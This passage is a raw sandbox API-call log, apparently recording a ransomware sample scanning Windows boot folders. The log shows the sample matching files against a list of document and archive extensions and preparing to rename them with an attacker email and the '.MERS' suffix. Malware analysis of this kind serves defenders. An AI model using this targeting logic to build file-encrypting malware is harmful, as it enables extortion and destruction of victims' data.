lpString2=".mui") returned -1 [0258.086] lstrlenW (lpString=".docx") returned 5 [0258.086] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.086] lstrlenW (lpString=".pdf") returned 4 [0258.086] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.086] lstrlenW (lpString=".xls") returned 4 [0258.086] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.086] lstrlenW (lpString=".xlsx") returned 5 [0258.086] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.086] lstrlenW (lpString=".ppt") returned 4 [0258.086] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.086] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0258.086] lstrlenW (lpString=".zip") returned 4 [0258.086] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.086] lstrlenW (lpString=".rar") returned 4 [0258.086] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.086] lstrlenW (lpString=".bz2") returned 4 [0258.086] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.086] lstrlenW (lpString=".7z") returned 3 [0258.086] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.086] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0258.086] lstrlenW (lpString=".dbf") returned 4 [0258.086] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.087] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0258.087] lstrlenW (lpString=".1cd") returned 4 [0258.087] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.087] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0258.087] lstrlenW (lpString=".jpg") returned 4 [0258.087] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.087] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0258.087] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0258.087] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0258.087] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=91712) returned 1 [0258.087] CloseHandle (hObject=0x2f0) returned 1 [0258.087] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0258.087] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.087] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.087] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0258.087] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0258.087] lstrlenW (lpString=".doc") returned 4 [0258.087] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.087] lstrlenW (lpString=".docx") returned 5 [0258.087] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.087] lstrlenW (lpString=".pdf") returned 4 [0258.087] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.088] lstrlenW (lpString=".xls") returned 4 [0258.088] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.088] lstrlenW (lpString=".xlsx") returned 5 [0258.088] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.088] lstrlenW (lpString=".ppt") returned 4 [0258.088] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.088] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0258.088] lstrlenW (lpString=".zip") returned 4 [0258.088] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.088] lstrlenW (lpString=".rar") returned 4 [0258.088] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.088] lstrlenW (lpString=".bz2") returned 4 [0258.088] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.088] lstrlenW (lpString=".7z") returned 3 [0258.088] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.088] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0258.088] lstrlenW (lpString=".dbf") returned 4 [0258.088] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.088] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0258.088] lstrlenW (lpString=".1cd") returned 4 [0258.088] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.088] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0258.088] lstrlenW (lpString=".jpg") returned 4 [0258.088] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.088] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0258.088] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0258.088] lstrlenW (lpString=".doc") returned 4 [0258.088] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.088] lstrlenW (lpString=".docx") returned 5 [0258.088] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.088] lstrlenW (lpString=".pdf") returned 4 [0258.088] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.088] lstrlenW (lpString=".xls") returned 4 [0258.088] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.088] lstrlenW (lpString=".xlsx") returned 5 [0258.089] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.089] lstrlenW (lpString=".ppt") returned 4 [0258.089] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.089] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0258.089] lstrlenW (lpString=".zip") returned 4 [0258.089] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.089] lstrlenW (lpString=".rar") returned 4 [0258.089] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.089] lstrlenW (lpString=".bz2") returned 4 [0258.089] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.089] lstrlenW (lpString=".7z") returned 3 [0258.089] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.089] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0258.089] lstrlenW (lpString=".dbf") returned 4 [0258.089] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.089] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0258.089] lstrlenW (lpString=".1cd") returned 4 [0258.089] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.089] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0258.089] lstrlenW (lpString=".jpg") returned 4 [0258.089] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.089] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0258.089] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0258.089] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0258.089] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=94800) returned 1 [0258.089] CloseHandle (hObject=0x2f0) returned 1 [0258.090] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0258.090] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.090] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.090] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0258.090] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0258.090] lstrlenW (lpString=".doc") returned 4 [0258.090] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.090] lstrlenW (lpString=".docx") returned 5 [0258.090] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.090] lstrlenW (lpString=".pdf") returned 4 [0258.090] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.090] lstrlenW (lpString=".xls") returned 4 [0258.090] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.090] lstrlenW (lpString=".xlsx") returned 5 [0258.090] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.090] lstrlenW (lpString=".ppt") returned 4 [0258.090] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.090] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0258.090] lstrlenW (lpString=".zip") returned 4 [0258.090] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.090] lstrlenW (lpString=".rar") returned 4 [0258.090] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.090] lstrlenW (lpString=".bz2") returned 4 [0258.090] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.090] lstrlenW (lpString=".7z") returned 3 [0258.090] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.090] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0258.090] lstrlenW (lpString=".dbf") returned 4 [0258.090] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.090] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0258.090] lstrlenW (lpString=".1cd") returned 4 [0258.091] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.091] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0258.091] lstrlenW (lpString=".jpg") returned 4 [0258.091] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.091] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0258.091] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0258.091] lstrlenW (lpString=".doc") returned 4 [0258.091] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.091] lstrlenW (lpString=".docx") returned 5 [0258.091] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.091] lstrlenW (lpString=".pdf") returned 4 [0258.091] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.091] lstrlenW (lpString=".xls") returned 4 [0258.091] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.091] lstrlenW (lpString=".xlsx") returned 5 [0258.091] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.091] lstrlenW (lpString=".ppt") returned 4 [0258.091] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.091] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0258.091] lstrlenW (lpString=".zip") returned 4 [0258.091] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.091] lstrlenW (lpString=".rar") returned 4 [0258.091] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.091] lstrlenW (lpString=".bz2") returned 4 [0258.091] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.091] lstrlenW (lpString=".7z") returned 3 [0258.091] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.091] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0258.091] lstrlenW (lpString=".dbf") returned 4 [0258.091] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.091] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0258.091] lstrlenW (lpString=".1cd") returned 4 [0258.091] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.092] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0258.092] lstrlenW (lpString=".jpg") returned 4 [0258.092] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.092] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0258.092] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0258.092] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0258.092] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=85056) returned 1 [0258.092] CloseHandle (hObject=0x2f0) returned 1 [0258.092] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0258.092] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.092] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.092] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0258.092] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0258.092] lstrlenW (lpString=".doc") returned 4 [0258.092] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.092] lstrlenW (lpString=".docx") returned 5 [0258.092] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.092] lstrlenW (lpString=".pdf") returned 4 [0258.092] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.092] lstrlenW (lpString=".xls") returned 4 [0258.092] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.092] lstrlenW (lpString=".xlsx") returned 5 [0258.093] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.093] lstrlenW (lpString=".ppt") returned 4 [0258.093] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.093] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0258.093] lstrlenW (lpString=".zip") returned 4 [0258.093] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.093] lstrlenW (lpString=".rar") returned 4 [0258.093] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.093] lstrlenW (lpString=".bz2") returned 4 [0258.093] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.093] lstrlenW (lpString=".7z") returned 3 [0258.093] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.093] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0258.093] lstrlenW (lpString=".dbf") returned 4 [0258.093] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.093] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0258.093] lstrlenW (lpString=".1cd") returned 4 [0258.093] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.093] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0258.093] lstrlenW (lpString=".jpg") returned 4 [0258.093] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.093] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0258.093] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0258.093] lstrlenW (lpString=".doc") returned 4 [0258.093] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.093] lstrlenW (lpString=".docx") returned 5 [0258.093] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.093] lstrlenW (lpString=".pdf") returned 4 [0258.093] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.093] lstrlenW (lpString=".xls") returned 4 [0258.093] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.093] lstrlenW (lpString=".xlsx") returned 5 [0258.093] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.093] lstrlenW (lpString=".ppt") returned 4 [0258.094] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.094] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0258.094] lstrlenW (lpString=".zip") returned 4 [0258.094] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.094] lstrlenW (lpString=".rar") returned 4 [0258.094] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.094] lstrlenW (lpString=".bz2") returned 4 [0258.094] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.094] lstrlenW (lpString=".7z") returned 3 [0258.094] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.094] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0258.094] lstrlenW (lpString=".dbf") returned 4 [0258.094] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.094] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0258.094] lstrlenW (lpString=".1cd") returned 4 [0258.094] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.094] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0258.094] lstrlenW (lpString=".jpg") returned 4 [0258.094] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.094] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0258.094] lstrlenW (lpString="memtest.exe.mui") returned 15 [0258.094] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0258.094] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=43600) returned 1 [0258.094] CloseHandle (hObject=0x2f0) returned 1 [0258.094] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0258.094] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.095] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.095] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0258.095] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0258.095] lstrlenW (lpString=".doc") returned 4 [0258.095] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.095] lstrlenW (lpString=".docx") returned 5 [0258.095] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.095] lstrlenW (lpString=".pdf") returned 4 [0258.095] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.095] lstrlenW (lpString=".xls") returned 4 [0258.095] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.095] lstrlenW (lpString=".xlsx") returned 5 [0258.095] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.095] lstrlenW (lpString=".ppt") returned 4 [0258.095] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.095] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0258.095] lstrlenW (lpString=".zip") returned 4 [0258.095] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.095] lstrlenW (lpString=".rar") returned 4 [0258.095] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.095] lstrlenW (lpString=".bz2") returned 4 [0258.095] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.095] lstrlenW (lpString=".7z") returned 3 [0258.095] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.095] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0258.095] lstrlenW (lpString=".dbf") returned 4 [0258.095] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.095] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0258.095] lstrlenW (lpString=".1cd") returned 4 [0258.095] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.095] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0258.095] lstrlenW (lpString=".jpg") returned 4 [0258.096] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.096] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0258.096] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0258.096] lstrlenW (lpString=".doc") returned 4 [0258.096] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.096] lstrlenW (lpString=".docx") returned 5 [0258.096] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.096] lstrlenW (lpString=".pdf") returned 4 [0258.096] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.096] lstrlenW (lpString=".xls") returned 4 [0258.096] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.096] lstrlenW (lpString=".xlsx") returned 5 [0258.096] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.096] lstrlenW (lpString=".ppt") returned 4 [0258.096] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.096] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0258.096] lstrlenW (lpString=".zip") returned 4 [0258.096] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.096] lstrlenW (lpString=".rar") returned 4 [0258.096] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.096] lstrlenW (lpString=".bz2") returned 4 [0258.096] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.096] lstrlenW (lpString=".7z") returned 3 [0258.096] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.096] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0258.096] lstrlenW (lpString=".dbf") returned 4 [0258.096] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.096] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0258.096] lstrlenW (lpString=".1cd") returned 4 [0258.096] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.096] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0258.096] lstrlenW (lpString=".jpg") returned 4 [0258.096] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.097] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0258.097] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0258.097] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0258.097] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=90192) returned 1 [0258.097] CloseHandle (hObject=0x2f0) returned 1 [0258.097] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0258.097] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.097] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.097] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0258.097] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0258.097] lstrlenW (lpString=".doc") returned 4 [0258.097] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.097] lstrlenW (lpString=".docx") returned 5 [0258.097] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.097] lstrlenW (lpString=".pdf") returned 4 [0258.097] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.097] lstrlenW (lpString=".xls") returned 4 [0258.097] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.097] lstrlenW (lpString=".xlsx") returned 5 [0258.097] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.097] lstrlenW (lpString=".ppt") returned 4 [0258.097] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.097] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0258.097] lstrlenW (lpString=".zip") returned 4 [0258.097] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.098] lstrlenW (lpString=".rar") returned 4 [0258.098] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.098] lstrlenW (lpString=".bz2") returned 4 [0258.098] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.098] lstrlenW (lpString=".7z") returned 3 [0258.098] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.098] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0258.098] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=89152) returned 1 [0258.098] CloseHandle (hObject=0x2f0) returned 1 [0258.099] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0258.099] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.099] CreateFileW 